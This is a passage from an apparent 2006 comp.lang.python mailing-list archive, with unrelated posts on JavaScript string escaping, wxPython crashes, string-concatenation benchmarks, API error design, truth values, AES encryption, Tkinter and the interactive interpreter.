>> allowing direct outer writes.
>>     
>
> Did you have optimisation turned on ?
>
>   

No. I did a hundred thousand loops over each in IDLE using xrange.

> As I see it there should be no reason an optimiser couldn't transform 
> my code into the same code we might expect from your "outer keyword"
> example, as the scope object's type and attributes are all contained 
> within (thus known to) the outer function defenition.
>
>   

I doubt that very much. The 'outer' keyword would give me the choice 
between two alternatives. Such a choice can hardly be automated.

> Wether CPython's optimiser does this or not, I don't know.
>
>   
>>> Thats -2 import-this points already.
>>>
>>>   
>>>       
>> Which ones are the two?
>>     
>
> Explicit is better than implicit.
> There should be one-- and preferably only one --obvious way to do it.
>
> Rob.
>   


Frederic




From ldo at geek-central.gen.new_zealand  Sat Oct  7 17:44:49 2006
From: ldo at geek-central.gen.new_zealand (Lawrence D'Oliveiro)
Date: Sun, 08 Oct 2006 10:44:49 +1300
Subject: A critique of cgi.escape
References: <ef37im$5hj$1@lust.ihug.co.nz>
Message-ID: <eg972j$2h8$1@lust.ihug.co.nz>

Another useful function is this:

    def JSString(Str) :
        """returns a JavaScript string literal that evaluates to Str. Note
        I'm not worrying about non-ASCII characters for now."""
        Result = []
        for Ch in Str :
            if Ch == "\\" :
                Ch = "\\\\"
            elif Ch == "\"" :
                Ch = "\\\""
            elif Ch == "\t" :
                Ch = "\\t"
            elif Ch == "\n" :
                Ch = "\\n"
            #end if
            Result.append(Ch)
        #end for
        return "\"" + "".join(Result) + "\""
    #end JSString

This can be used, for instance in

    sys.stdout.write \
      (
            "window.setTimeout(%s, 1000)\n"
        %
            JSString("alert(%s)" % JSString("Hi There!"))
      )



From jim at trainplayer.com  Fri Oct 13 11:37:36 2006
From: jim at trainplayer.com (Jim)
Date: 13 Oct 2006 08:37:36 -0700
Subject: where to put .pth file
Message-ID: <1160753856.467103.141090@m7g2000cwm.googlegroups.com>

I am trying to tell Python where it can find some modules it will need
when embedded in my app.  The convenient way would be to plop a .pth
file somewhere Python can find it.  I found that the doc is wrong when
it says this kind of filecan go anywhere on the python path.  It is not
found if it goes into the python root dir, or python\lib -- the only
place I found it would work was in lib\site-packages.

So the next question is, how do I know where this dir is located?  In
order to look in the Registry to find where Python is installed, I need
to know the version!  There is a set of keys under Python24 and another
set under Python25 on my machine.  That means I need to know what
version is installed before I can find out where its install dir is.
Bizarre.

So how do I find out what version is installed?  The best way I came up
with so far is to ask Python for the value of sys.prefix.  Trouble is,
when I issue a PyRun statement, it fires up 24, not 25, and gives me
the 24 prefix.

In short: how do I find the latest installed site-packages directory?

  -- Jim



From fredrik at pythonware.com  Wed Oct  4 08:31:02 2006
From: fredrik at pythonware.com (Fredrik Lundh)
Date: Wed, 4 Oct 2006 14:31:02 +0200
Subject: Python to use a non open source bug tracker?
References: <22pUg.132825$zy5.1820633@twister1.libero.it>	<2sadneD3XpY0xb_YnZ2dnUVZ_q2dnZ2d@speakeasy.net><tCJUg.134232$zy5.1829450@twister1.libero.it>
	<eg0899$9g5$1@sea.gmane.org>
Message-ID: <eg09i9$eod$1@sea.gmane.org>

Steve Holden wrote:

> But sadly people are much happier complaining on c.l.py than exerting
> themselves to support the community with an open source issue tracker.

you're not on the infrastructure list, I hear.  python.org could still need a
few more roundup volunteers, but it's not like nobody's prepared to con-
tribute manhours.  don't underestimate the community.

</F> 





From nitte.sudhir at gmail.com  Mon Oct 30 18:45:59 2006
From: nitte.sudhir at gmail.com (kath)
Date: 30 Oct 2006 15:45:59 -0800
Subject: Serious wxPython Error while executing..
Message-ID: <1162251958.974767.160970@k70g2000cwa.googlegroups.com>

Hello, sorry about the lengthy message.

 I finding difficult to execute this program. The wx.Notebook i created
is coming on the splitted frame(self.p2). How do I that. I am started
to learn wxPython, and when I run the code, the code doesnot close
gracefully, it throughs me an error.

"pythonw.exe has encountered a problem and needs to close.  We are
sorry for the inconvenience"

I clicked for more information, then I got the error message which is

"AppName: pythonw.exe	 AppVer: 0.0.0.0	 ModName: wxmsw26uh_vc.dll
ModVer: 2.6.3.3	 Offset: 0016bb6f
<?xml version="1.0" encoding="UTF-16"?>
<DATABASE>
<EXE NAME="pythonw.exe" FILTER="GRABMI_FILTER_PRIVACY">
    <MATCHING_FILE NAME="MSVCRT.dll" SIZE="290869"
CHECKSUM="0x46EE5D1C" BIN_FILE_VERSION="6.1.9359.0"

BIN_PRODUCT_VERSION="6.1.9359.0" PRODUCT_VERSION="6.10.9359.0"
FILE_DESCRIPTION="Microsoft (R) C Runtime Library"

COMPANY_NAME="Microsoft Corporation" PRODUCT_NAME="Microsoft (R) Visual
C++" FILE_VERSION="6.10.9359.0"

ORIGINAL_FILENAME="MSVCRT.DLL" INTERNAL_NAME="MSVCRT.DLL"
LEGAL_COPYRIGHT="Copyright (C) Microsoft Corp. 1981-1999"

VERFILEDATEHI="0x0" VERFILEDATELO="0x0" VERFILEOS="0x40004"
VERFILETYPE="0x2" MODULE_TYPE="WIN32" PE_CHECKSUM="0x48405"

LINKER_VERSION="0x0" UPTO_BIN_FILE_VERSION="6.1.9359.0"
UPTO_BIN_PRODUCT_VERSION="6.1.9359.0" LINK_DATE="09/20/2001 21:52:56"

UPTO_LINK_DATE="09/20/2001 21:52:56" VER_LANGUAGE="English (United
States) [0x409]" />
.............."

here is the code.... seems a bit lengthy, sorry about that.
Please help me to find my mistake, and how do I go forward resolving
this problem.

[code]
import wx

ID_ADD_NEW = 5001
ID_DEACTIVATE = 5002
ID_EXIT = 5003

class _AddNewFund(wx.Panel):
    def __init__(self, parent):
        wx.Panel.__init__(self, parent)
        box=wx.StaticBox(self, -1, "Add New Fund")
        boxsizer=wx.StaticBoxSizer(box, wx.HORIZONTAL)

        t=wx.StaticText(self, -1, "Please select an Excel file to
upload new funds.", (20,20))
        boxsizer.Add(t, 0, wx.TOP|wx.LEFT, 10)
        t=wx.StaticText(self, -1, "This is page one content2", (20,40))
        boxsizer.Add(t, 0, wx.TOP|wx.LEFT, 10)

        self.text1=wx.TextCtrl(self, -1, "")

        b1 = wx.Button(self, 10, " Browse ")
        b2 = wx.Button(self, 10, " Upload ", (60, 20))
        self.Bind(wx.EVT_BUTTON, self.OnBrowse, b1)
        self.Bind(wx.EVT_BUTTON, self.OnUpload, b2)
        b1.SetDefault()
        b1.SetSize(b1.GetBestSize())
        b2.SetSize(b2.GetBestSize())

        grid1=wx.FlexGridSizer(0,2,0,0)
        grid1.Add( self.text1, 0,
wx.ALIGN_CENTRE|wx.LEFT|wx.RIGHT|wx.TOP, 5 )
        grid1.Add( b1, 0, wx.ALIGN_CENTRE|wx.LEFT|wx.RIGHT|wx.TOP, 5 )
        #grid1.Add( b2, 0, wx.ALIGN_CENTRE|wx.LEFT|wx.RIGHT|wx.TOP, 5 )
        border=wx.BoxSizer()
        border.Add(boxsizer, 1, wx.EXPAND)
        self.SetSizer(border)
        boxsizer.Add(grid1, 0, wx.ALIGN_CENTRE)
        border.Add(boxsizer, 0, wx.ALIGN_CENTRE)
        #print "end ADD NEW class"

    def OnBrowse(self, event):
        self.dirname=""
        d=wx.FileDialog(self, "Choose a file", self.dirname, "", "*.*",
wx.Open)
        if d.ShowModal() == wx.ID_OK:
            self.filename=d.GetFilename()
            self.dirname=d.GetDirectory()
            self.text1.WriteTest(join(os.path.join(self.dirname,
self.filename)))
        d.Destroy()

    def OnUpload(self, event):
        pass

class ParentWindow(wx.Frame):
    def __init__(self):
        wx.Frame.__init__(self, None, -1, "Euro Fund manager")
        self.createMenu()
        self.Bind(wx.EVT_MENU, self.onAddnewfund, id=ID_ADD_NEW)
        self.Bind(wx.EVT_MENU, self.onDeactivate, id=ID_DEACTIVATE)
        self.Bind(wx.EVT_MENU, self.onExit, id=ID_EXIT)
        self.spw=wx.SplitterWindow(self)
        self.p1=wx.Panel(self.spw, style=wx.BORDER_NONE)
        self.p1.SetBackgroundColour("white")
        self.p2=wx.Panel(self.spw, style=wx.BORDER_NONE)

        self.spw.SplitVertically(self.p1, self.p2, 200)

        self.CreateStatusBar()

    def createMenu(self):
        menu=wx.Menu()
        menu.Append(ID_ADD_NEW, "&Add new fund(s)", "Add new fund(s)")
        menu.Append(ID_DEACTIVATE, "&Deactivate fund(s)", "Deactivate
fund(s)")
        menu.AppendSeparator()
        menu.Append(ID_EXIT, "E&xit", "Exit")

        menubar=wx.MenuBar()
        menubar.Append(menu, "&File")
        self.SetMenuBar(menubar)

    def onAddnewfund(self, event):
        #p=wx.Panel(self.p2)
        #print "panel created"
        nb=wx.Notebook(self.p2)
        #print "notebook created"
        addPage=_AddNewFund(nb)
        nb.AddPage(addPage, "Add new Fund")
        #print "page got added"
        sizer=wx.BoxSizer()
        sizer.Add(nb, 1, wx.EXPAND)
        self.p2.SetSizer(sizer)
        #print "end of add function"

    def onDeactivate(self, event): pass

    def onExit(self, event):
        self.Close()


app = wx.App()
frm=ParentWindow()
frm.SetSize((800,500))
frm.Show()
app.SetTopWindow(frm)
app.MainLoop()

[/code]



thank you,
Regards,
kath



From blair.houghton at gmail.com  Fri Oct  6 13:04:14 2006
From: blair.houghton at gmail.com (Blair P. Houghton)
Date: 6 Oct 2006 10:04:14 -0700
Subject: Google breaks Usenet (was Re: How can I correct an error in an
	old post?)
References: <1159723139.638984.293300@h48g2000cwc.googlegroups.com>
	<pvc9i2l14o2jhdapmqeudal2kvvuvtksht@4ax.com>
	<1160096371.564954.132860@b28g2000cwb.googlegroups.com>
	<4SmVg.9105$GR.2172@newssvr29.news.prodigy.net>
	<eg5j9c$g62$1@panix3.panix.com>
Message-ID: <1160154253.956469.195400@m73g2000cwd.googlegroups.com>

Aahz wrote:
> In article <4SmVg.9105$GR.2172 at newssvr29.news.prodigy.net>,
> Bryan Olson  <fakeaddress at nowhere.org> wrote:
> >Blair P. Houghton wrote:
> >>
> >> But they do about 10 things totally wrong with Google groups that
> >> I'd've fixed in my spare time in my first week if they'd hired me back
> >> when I was interviewing with them.
> >>
> >> So if they want it to work, they know where to find me.
> >
> >Doesn't seem likely, does it? But don't let it stop you. You don't
> >need Google's permission to build a better Usenet service. They
> >don't have any copyright on the posts, or other special protection.
> >I'm a former Googler myself and I use their service all the time,
> >but if yours is better I'll switch.
>
> The problem is the network effect.  In this case, what Google has that
> can't be replicated is the history of posts.

Exactly.

Usenet isn't just the "send this message to all leaf nodes via tree"
behavior,
it's the "show me the message from 1987 or 1988 written by dickie
sexton where
he invents the '(*plonk*)' meme" behavior, and a lot of others.

It would be an interesting script that would crawl through Google's
online
copy of the DejaNews archive (which itself was incomplete, by the way)
to replicate all of that, with complete headers, minus Google's header
munging.

--Blair



From larry at hastings.org  Tue Oct  3 01:35:06 2006
From: larry at hastings.org (Larry Hastings)
Date: 2 Oct 2006 22:35:06 -0700
Subject: PATCH: Speed up direct string concatenation by 20+%!
References: <1159495643.213830.289620@m7g2000cwm.googlegroups.com>
	<451CD389.3010800@jessikat.plus.net>
	<mailman.932.1159533269.10491.python-list@python.org>
	<1159540482.924744.164420@k70g2000cwa.googlegroups.com>
	<mailman.948.1159542291.10491.python-list@python.org>
	<1159545255.339364.299020@k70g2000cwa.googlegroups.com>
	<mailman.955.1159545644.10491.python-list@python.org>
	<1159546522.251704.301530@b28g2000cwb.googlegroups.com>
	<mailman.956.1159547188.10491.python-list@python.org>
	<1159552048.354214.198180@e3g2000cwe.googlegroups.com>
	<mailman.991.1159599674.10491.python-list@python.org>
	<1159762765.943691.139690@b28g2000cwb.googlegroups.com>
	<mailman.1072.1159766782.10491.python-list@python.org>
	<1159774531.004015.7390@e3g2000cwe.googlegroups.com>
Message-ID: <1159853705.946422.70220@b28g2000cwb.googlegroups.com>

Fredrik Lundh wrote:
> You should also benchmark this against code that uses the ordinary
> append/join pattern.

Sorry, thought I had.  Of course, now that the patch is up on
Sourceforce you could download it and run all the benchmarks you like.

For all the benchmarks I ran below, the number listed is the best of
three runs.  Time was computed using sum(os.times()[:2]).

Running this under Python 2.5 release:
    x = []
    for i in xrange(10000000):
        x.append("a")
    y = "".join(x)
took 4421ms.

Running this under my patched Python:
    x = ""
    for i in xrange(10000000):
        x += "a"
    y = x[1]
took 4406ms.

I assert that my code makes + as fast as the old "".join([]) idiom.


> It's rather unlikely that something like this will ever be added to
> the 2.X series.  It's pretty unlikely for 3.X as well (GvR used a
> rope-like structure for ABC, and it was no fun for anyone), but it'll
> most likely be a lot easier to provide this as an option for 3.X.

I can't address the ABC implementation as I've never seen it.  But my
patch only touches four files. Two are obviously stringobject.c and .h.
The other two files, ceval.c and codeobject.c, only got one-line
changes.  My changes to PyStringObject are well-encapsulated; as long
as core / extension programmers continue to use PyString_AS_STRING() to
access the char * in a PyStringObject they will never notice the
difference.


John Machin wrote:
> try benchmarking this ... well "style" may not be the appropriate word

Running this under Python 2.5 release:
    x = []
    xappend = x.append
    for i in xrange(10000000):
        xappend("a")
    y = "".join(x)
took 3281ms.

Running this under my patched Python 2.5:
    x = ""
    xappend = x.__add__
    for i in xrange(10000000):
        xappend("a")
    y = "".join(x)
took 3343ms.


/larry/



From swillison at gmail.com  Mon Oct  2 12:45:38 2006
From: swillison at gmail.com (Simon  Willison)
Date: 2 Oct 2006 09:45:38 -0700
Subject: Pythonic API design: detailed errors when you usually don't care
Message-ID: <1159807538.579131.198670@e3g2000cwe.googlegroups.com>

Hi all,

I have an API design question. I'm writing a function that can either
succeed or fail. Most of the time the code calling the function won't
care about the reason for the failure, but very occasionally it will.

I can see a number of ways of doing this, but none of them feel
aesthetically pleasing:

1.

try:
  do_something()
except HttpError:
  # An HTTP error occurred
except ApplicationError:
  # An application error occurred
else:
  # It worked!

This does the job fine, but has a couple of problems. The first is that
I anticipate that most people using my function won't care about the
reason; they'll just want a True or False answer. Their ideal API would
look like this:

if do_something():
  # It succeeded
else:
  # It failed

The second is that the common path is success, which is hidden away in
the 'else' clause. This seems unintuitive.

2.

Put the method on an object, which stores the reason for a failure:

if obj.do_something():
  # It succeeded
else:
  # It failed; obj.get_error_reason() can be called if you want to know
why

This has an API that is closer to my ideal True/False, but requires me
to maintain error state inside an object. I'd rather not keep extra
state around if I don't absolutely have to.

3.

error = do_something()
if error:
  # It failed
else:
  # It succeeded

This is nice and simple but suffers from cognitive dissonance in that
the function returns True (or an object evaluating to True) for
failure.

4.

The preferred approach works like this:

if do_something():
  # Succeeded
else:
  # Failed

BUT this works too...

ok = do_something()
if ok:
  # Succeeded
else:
  # ok.reason has extra information
  reason = ok.reason

This can be implemented by returning an object from do_something() that
has a __nonzero__ method that makes it evaluate to False. This solves
my problem almost perfectly, but has the disadvantage that it operates
counter to developer expectations (normally an object that evaluates to
False is 'empty').

I know I should probably just pick one of the above and run with it,
but I thought I'd ask here to see if I've missed a more elegant
solution.

Thanks,

Simon



From donn at u.washington.edu  Fri Oct 27 13:24:32 2006
From: donn at u.washington.edu (Donn Cave)
Date: Fri, 27 Oct 2006 10:24:32 -0700
Subject: question about True values
References: <grO%g.152$1n3.4134@news.tufts.edu>
	<7x4ptsi544.fsf@ruckus.brouhaha.com>
	<1161803802.110116.127470@m7g2000cwm.googlegroups.com>
	<7xvem8gq22.fsf@ruckus.brouhaha.com>
	<1161804934.010376.151330@f16g2000cwb.googlegroups.com>
	<453FD3AF.4040800@v.loewis.de>
	<1161812827.596356.316450@f16g2000cwb.googlegroups.com>
	<donn-4380C3.15593125102006@gnus01.u.washington.edu>
	<1161860305.348329.283780@m73g2000cwd.googlegroups.com>
	<mailman.1264.1161861732.11739.python-list@python.org>
	<donn-15D0D7.09580726102006@gnus01.u.washington.edu>
	<slrnek3kvc.aqe.apardon@rcpc42.vub.ac.be>
Message-ID: <donn-F174C2.10243227102006@gnus01.u.washington.edu>

In article <slrnek3kvc.aqe.apardon at rcpc42.vub.ac.be>,
 Antoon Pardon <apardon at forel.vub.ac.be> wrote:
...
> I think you are incorrect.

Thanks!  I rest my case!

> And how do I express that a number has to be greater than
> 100 into a Nothing vs Something dichotomy? Declare all
> greater numbers as Something and the rest as Nothing?

Well, would you declare numbers less than 100 False?

Think about it in more philosophical terms.  What is Truth?
The Internet Encyclopedia of Philosophy may be some help
with this - http://www.iep.utm.edu/t/truth.htm

Then when you get tired of that, suppose that "if" and
"while" are asking for "yes" and "no", instead of "true"
and "false", and ask yourself if we have the philosophical
problems with "yes" that we do with "true".

   Donn Cave, donn at u.washington.edu


From bj_666 at gmx.net  Thu Oct 26 17:45:56 2006
From: bj_666 at gmx.net (Marc 'BlackJack' Rintsch)
Date: Thu, 26 Oct 2006 23:45:56 +0200
Subject: Search & Replace
References: <1161898031.481159.202310@f16g2000cwb.googlegroups.com>
Message-ID: <pan.2006.10.26.21.45.55.489204@gmx.net>

In <1161898031.481159.202310 at f16g2000cwb.googlegroups.com>, DataSmash
wrote:

> I need to search and replace 4 words in a text file.
> Below is my attempt at it, but this code appends
> a copy of the text file within itself 4 times.

Because you `write()` the whole text four times to the file.  Make the 4
replacements first and rebind `text` to the string with the replacements
each time, and *then* write the result *once* to the file.

> # Search & Replace
> file = open("text.txt", "r")
> text = file.read()
> file.close()
> 
> file = open("text.txt", "w")

text = text.replace("Left_RefAddr", "FromLeft")
text = text.replace("Left_NonRefAddr", "ToLeft")
# ...
file.write(text)
file.close()

Ciao,
	Marc 'BlackJack' Rintsch


From emlyn at brizzle.com  Tue Oct 24 07:28:56 2006
From: emlyn at brizzle.com (ml1n)
Date: 24 Oct 2006 04:28:56 -0700
Subject: Python Crytographic Toolkit, AES and OpenPGP
Message-ID: <1161689336.241761.8890@h48g2000cwc.googlegroups.com>

Hello,
Does anybody have an example of using Crypto.Cipher.AES to encrypt an
OpenPGP literal data packet?  I can't get MODE_PGP to work at all (gpg
doesn't recognise the unencrypted packet), with MODE_CFB gpg correctly
identifies the packet after decryption but it's body is incorrect
(suggesting the first 2 bytes decrypt/encrypt ok but the rest
doesn't?). I know the plain text version of the packet is ok because I
can add it to the stream without encryption and gpg will process it ok.

Here is what I'm trying (text is the pre constructed packet):

aes_obj =
Crypto.Cipher.AES.new(self.sessionKey,Crypto.Cipher.AES.MODE_CFB,"\x00"*16)
padding = self.randPool.get_bytes(Crypto.Cipher.AES.block_size)
padding = "%s%s" % (padding,padding[-2:])
self.enc_text = aes_obj.encrypt("%s%s" % (padding,text))

I'm sure I'm missing something obvious, Any pointers gratefully
recieved.

Thanks.
M.



From robert.kern at gmail.com  Wed Oct 25 15:19:34 2006
From: robert.kern at gmail.com (Robert Kern)
Date: Wed, 25 Oct 2006 14:19:34 -0500
Subject: question about True values
In-Reply-To: <grO%g.152$1n3.4134@news.tufts.edu>
References: <grO%g.152$1n3.4134@news.tufts.edu>
Message-ID: <ehodc7$k4s$1@sea.gmane.org>

John Salerno wrote:
> I'm a little confused. Why doesn't s evaluate to True in the first part, 
>   but it does in the second? Is the first statement something different?
> 
>  >>> s = 'hello'
>  >>> s == True
> False
>  >>> if s:
> 	print 'hi'
> 
> 	
> hi
>  >>>

They are, indeed, quite different things. Finding the truth value of an object 
is not the same thing as testing if the object is equal to the object True. When 
people use the phrase "evaluate to True" in the context of an if: statement, 
they mean that the truth value of the object (found using the special method 
.__nonzero__()) is True, not that it is equal to True.

It's a bit of an abuse on the English language, but what isn't in software?

-- 
Robert Kern

"I have come to believe that the whole world is an enigma, a harmless enigma
  that is made terrible by our own mad attempt to interpret it as though it had
  an underlying truth."
   -- Umberto Eco



From kay.schluehr at gmx.net  Fri Oct 20 03:48:22 2006
From: kay.schluehr at gmx.net (Kay Schluehr)
Date: 20 Oct 2006 00:48:22 -0700
Subject: invert or reverse a string... warning this is a rant
In-Reply-To: <eh8708$nc7$1@solaris.cc.vt.edu>
References: <eh8708$nc7$1@solaris.cc.vt.edu>
Message-ID: <1161330502.088717.50860@f16g2000cwb.googlegroups.com>

> The Ruby approach makes sense to me as a human being.

http://happyfuncog.blogspot.com/2006/09/confessions-of-pseudo-misanthrope.html

> The Python approach is not easy for me (as a human being) to remember.

I always thought we Pythonistas are already idiots but whenever I meet
a Rubist it ( the human being ) appears completely retarded to me.



From myddrin at myddrin.com  Wed Oct  4 19:12:30 2006
From: myddrin at myddrin.com (Rob Knapp)
Date: Wed, 04 Oct 2006 19:12:30 -0400
Subject: Where is Python in the scheme of things?
In-Reply-To: <I4GdnY3G96ZZirnYnZ2dnUVZ_uidnZ2d@magma.ca>
References: <I4GdnY3G96ZZirnYnZ2dnUVZ_uidnZ2d@magma.ca>
Message-ID: <1160003550.5086.33.camel@localhost.localdomain>

On Wed, 2006-10-04 at 16:21 -0400, gord wrote:

> What is particularly disappointing is the absence of a Windows IDE, 
> components and an event driven paradigm. How does Python stand relative to 
> the big 3, namely Visual C++, Visual Basic and Delphi? I realize that these 
> programming packages are quite expensive now while Python is free (at least 
> for the package I am using - ActivePython).
> 

Ok, this is probably a little long but I always enjoy telling this story
and I think it will answer you question in terms of usability.

I got started using python on windows, back when I was largely a VB & VC
++ developer (6.0). (With a little java, some php and bunch of other
less important languages.)  I was working on a large project (developing
a videoconferencing suite), and we had several options for how our
proprietary protocol would handle relay selection for each connection.
The system used a STUN-like relay system and we knew performance would
be significantly enhanced if this connection was routed through a relay
"close" to one party or the other. However, there is a distinct
disconnect between "close" in the real world and "close" on the
internet... and that can change from moment to moment based on the
conditions between the two points. So we came up with three or four
different algorithms for it and the discussion (as developer discussions
sometimes do) devolved into a flamewar.  So, I decided to write a
program that would simulate each algorithm, and then subject that
simulation to various network effects.  

Having heard over and over and over how great python was, I decided to
write it in that. I scheduled 2 days to write the simulator, and it took
me less than an hour!  (Mind you, that was learning the basics of the
language and writing a simulator.) I called a meeting, ran the simulator
through its paces and well all decided on a solution.

Few weeks later, we needed to embed small scripts into the system....we
played with a bunch of different languages and ended up deciding on
python.  Then we needed something that would let us actually put
together a UI and actually let us embed that UI in activex controls,
java applications, VB programs, etc.  Again, we looked at the options
and chose python.   This time using PyQT to provide the UI widgets,
event driven programming and so forth.  One of the deciding factors was
that if we really needed to optimize any part of the UI code, we could
re-implement that subsection in C/C++ for an extra speed boost...which
we never had to do.

So basically, that one little simulator took a pure C++ project and
turned it into a bunch of C++ modules held together by python glue.
Which ended up giving us a really flexible AND maintainable design.

Since then I've pretty much been a dedicated python developer, except
for those places where there is a very specific need that python doesn't
meet... which is surprisingly rare.  

There are a few IDE-like python editors that run on windows, BlackAdder,
Eric, and a bunch of others.  (If I forgot your favorite, I'm sorry....)
The real advantage here over, say the Visual Studio stuff,  is that you
can choose which one you want, rather than being stuck with an
development environment that may or may not suit your working style.
(After using python for a few months, I basically stopped using IDEs as
I found it more productive for me personally to use Emacs...)

Between that and the language's emphasis on developer productivity,
there is a world of difference between python and the big three.  (Which
ever big three you pick.)  

I was a pretty productive programmer with VB/VC++/etc, usually one of
the most productive members of whatever team I was on.  But now that
I've made the switch to python, I'm several orders of magnitude more
productive in terms of actually writing the code.  Which means that I
can take more time to design my code for easier maintainability in the
future.



> Please discuss where Python shines.
> Gord
> 
> 



From mike$#at^&nospam!%trausch(*%)us  Tue Oct 17 16:42:23 2006
From: mike$#at^&nospam!%trausch(*%)us (*%)
Date: Tue, 17 Oct 2006 16:42:23 -0400
Subject: Python Web Site?
Message-ID: <36WdnfRBgYet3ajYnZ2dnUVZ_q-dnZ2d@comcast.com>

Is there a problem with the Python and wxPython web sites?  I cannot
seem to get them up, and I am trying to find some documentation...

	Thanks,
	Mike


From jmdeschamps at gmail.com  Fri Oct 20 18:14:59 2006
From: jmdeschamps at gmail.com (jmdeschamps at gmail.com)
Date: 20 Oct 2006 15:14:59 -0700
Subject: Tkinter--does anyone use it for sophisticated GUI development?
In-Reply-To: <7cd5f$4537d1ef$4275d90a$20512@FUSE.NET>
References: <7cd5f$4537d1ef$4275d90a$20512@FUSE.NET>
Message-ID: <1161382499.463378.282830@m7g2000cwm.googlegroups.com>


Kevin Walzer wrote:
> I'm a Tcl/Tk developer who has been working, slowly, at learning Python,
> in part because Python has better support for certain kinds of
> applications that I want to develop than Tcl/Tk does. Naturally, I
> thought that I would use Tkinter as the GUI for these programs. However,
> in doing research into GUI development techniques, sample code, and
> showcase applications, what has struck me is how little sophisticated
> GUI development seems to be done in Tkinter as compared to, say,
> wxPython. I've found plenty of tutorials on how to do basic GUI stuff
> with Tkinter, but that stuff pretty much ends with the core Tk widgets
> (buttons, entry fields, scrollbars, and menu items).
>
> Coming from Tcl/Tk, where there are a huge number of extension packages
> to enhance the Tk widgets and which allow you to make really polished
> GUI's, I'm struck mainly by how little of this stuff has made it over
> into Tkinter/Python. For instance, I've developed several Tcl
> applications that use the core Tk widgets, the Tile theming package, the
> Bwidget set (great tree widget and listbox, which allows you to embed
> images), and tablelist (an extremely flexible muti-column listbox
> display). I've found Python wrappers for some of this stuff, but almost
> no documentation on how to use them, and very little in the way of
> actual applications making use of them--which is itself a red flag. And
> most of the pure-Python extension stuff that I've found, such as Python
> megawidgets, is pretty dated/ugly and lags far behind the comparable
> stuff on the Tcl side.
>
> Am I better off biting the bullet and learning wxPython--a different GUI
> paradigm to go with the new language I'm trying to learn? I had hoped to
> reduce my learning curve, but I'm very concerned that I simply can't do
> what I want to do with Tkinter. What do other Tkinter developers think?

Tkinter is certainly dated (?), worst than PMW which is built upon it.

But what do you what/need?
I use , and am making my students use Tkinter for a web multiu-user
client-server XXXX game. The Canvas is a great  object, but you have to
write the code yourself, if you want a special look.
Eye-candy, Tkinter ain't, and it doesn't have a lot of sophisticated
widgets (again ?) .  I wanted a tabbed pane last year and made myself
one (not the exact look of others, but functional if what you want is
multiple frames of widgets for each tab; the table widget took quite a
bit of doing, also and it's not an Excel spreadsheet)

I do know that people are impressed by glitz and glamour (And I don't
have a nice tree (with picture) widget)

But all of this does forget that Tkinter is still in the standard
library, while all others are third-party add-ons... so there is a
extra hassle with them...

So, what do You want? (widgets, criterias etc)

Jean-Marc



From phpxer at gmail.com  Tue Oct 17 00:48:13 2006
From: phpxer at gmail.com (zhaoren liu)
Date: Tue, 17 Oct 2006 12:48:13 +0800
Subject: No subject
Message-ID: <df8c045e0610162148p716648d0w341400283e083e69@mail.gmail.com>


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From http  Fri Oct 13 00:07:40 2006
From: http (Paul Rubin)
Date: 12 Oct 2006 21:07:40 -0700
Subject: Sending binary pickled data through TCP
References: <mailman.410.1160703734.11739.python-list@python.org>
Message-ID: <7xfyds2703.fsf@ruckus.brouhaha.com>

David Hirschfield <davidh at ilm.com> writes:
> Is there a reliable way to determine the byte count of some pickled
> binary data? Can I rely on len(<pickled data>) == bytes?

Huh?  Yes, of course len gives you the length.

As for the network representation, DJB proposes this format:
http://cr.yp.to/proto/netstrings.txt


From fredrik at pythonware.com  Tue Oct 31 03:25:30 2006
From: fredrik at pythonware.com (Fredrik Lundh)
Date: Tue, 31 Oct 2006 09:25:30 +0100
Subject: Python windows interactive.
In-Reply-To: <1162253732.035128.91060@e3g2000cwe.googlegroups.com>
References: <1162241672.682830.189240@b28g2000cwb.googlegroups.com>	<45467205.3000302@websafe.com>
	<1162253732.035128.91060@e3g2000cwe.googlegroups.com>
Message-ID: <ei719q$sk9$1@sea.gmane.org>

notejam wrote:

> Can not figure out how to write more than one line in interpreter mode.

press return between the lines.  if you get a "..." prompt, keep adding
more lines to the current statement.  press return an extra time to end 
the multiline-statement.

> Is that all interpreter is good for, testing one liners?  I have it
> run the program everytime I hit return

no, it executes the *current statement* when you press return.  a 
program consists usually consists of many statements.

> and can not figure out how to enter multiple lines of code. 

if you'd entered a statement that actually consisted of multiple lines, 
you'd noticed (try entering an "if"-statement, for example).

> I am jsut wondering can a program with 2 or more lines
> be wrote from the interpreter mode?

Type "help", "copyright", "credits" or "license" for more information.
 >>> import urllib
 >>> def gettitle(url):
...     f = urllib.urlopen(url)
...     s = f.read()
...     i = s.find("<title>")
...     j = s.find("</title>", i)
...     return s[i+7:j]
...
 >>> gettitle("http://www.python.org")
'Python Programming Language -- Official Website'
 >>> gettitle("http://www.cnn.com")
'CNN.com - Breaking News, U.S., World, Weather, Entertainment &amp; 
Video News'
 >>> sites = ["http://news.bbc.co.uk", "http://reddit.com",
... "http://www.fbi.gov"
... ]
 >>> for site in sites:
...     print gettitle(site)
...
BBC NEWS | News Front Page
reddit.com: what&#39;s new online
Federal Bureau of Investigation - Home Page
 >>>

etc.

</F>



From johnjsal at NOSPAMgmail.com  Fri Oct 20 16:20:11 2006
From: johnjsal at NOSPAMgmail.com (John Salerno)
Date: Fri, 20 Oct 2006 20:20:11 GMT
Subject: why does this unpacking work
In-Reply-To: <1161373003.141096.277510@i42g2000cwa.googlegroups.com>
References: <Qe9_g.129$1n3.3113@news.tufts.edu>
	<1161373003.141096.277510@i42g2000cwa.googlegroups.com>
Message-ID: <%ba_g.133$1n3.3373@news.tufts.edu>

johnzenger at gmail.com wrote:
> It's just sequence unpacking.  Did you know that this works?:
> 
> pair = ("California","San Francisco")
> state, city = pair
> print city
> # 'San Francisco'
> print state
> # 'California'

Yes, I understand that. What confused me was if it had been written like 
this:

pair = (("California","San Francisco"))


From Martin.Drautzburg at web.de  Mon Oct  9 15:40:58 2006
From: Martin.Drautzburg at web.de (Martin Drautzburg)
Date: Mon, 09 Oct 2006 21:40:58 +0200
Subject: Everything is a distributed object
Message-ID: <a7lqv3-tdd.ln1@C20.host>

Hello all,

I've seen various attempts to add distributed computing capabilities on top
of an existing language. For a true distributed system I would expect it to
be possible to instantiate objects of a remote class or to subclass a
remote class and other stuff like this. My impression is that those things
are difficult when built on top of an existing language.

Since the paradigm "everything is an object" pays so well, I thought it
might be less painful to implement a distributed system from ground up,
starting with the paradigm: "everything is a distributed object".

Do you know if such a thing has been attempted with python, i.e. by hacking
the python core and add new capabilities to "object". Or do you think that
this is really a silly idea ? 


From R.Brodie at rl.ac.uk  Tue Oct 17 09:39:39 2006
From: R.Brodie at rl.ac.uk (Richard Brodie)
Date: Tue, 17 Oct 2006 14:39:39 +0100
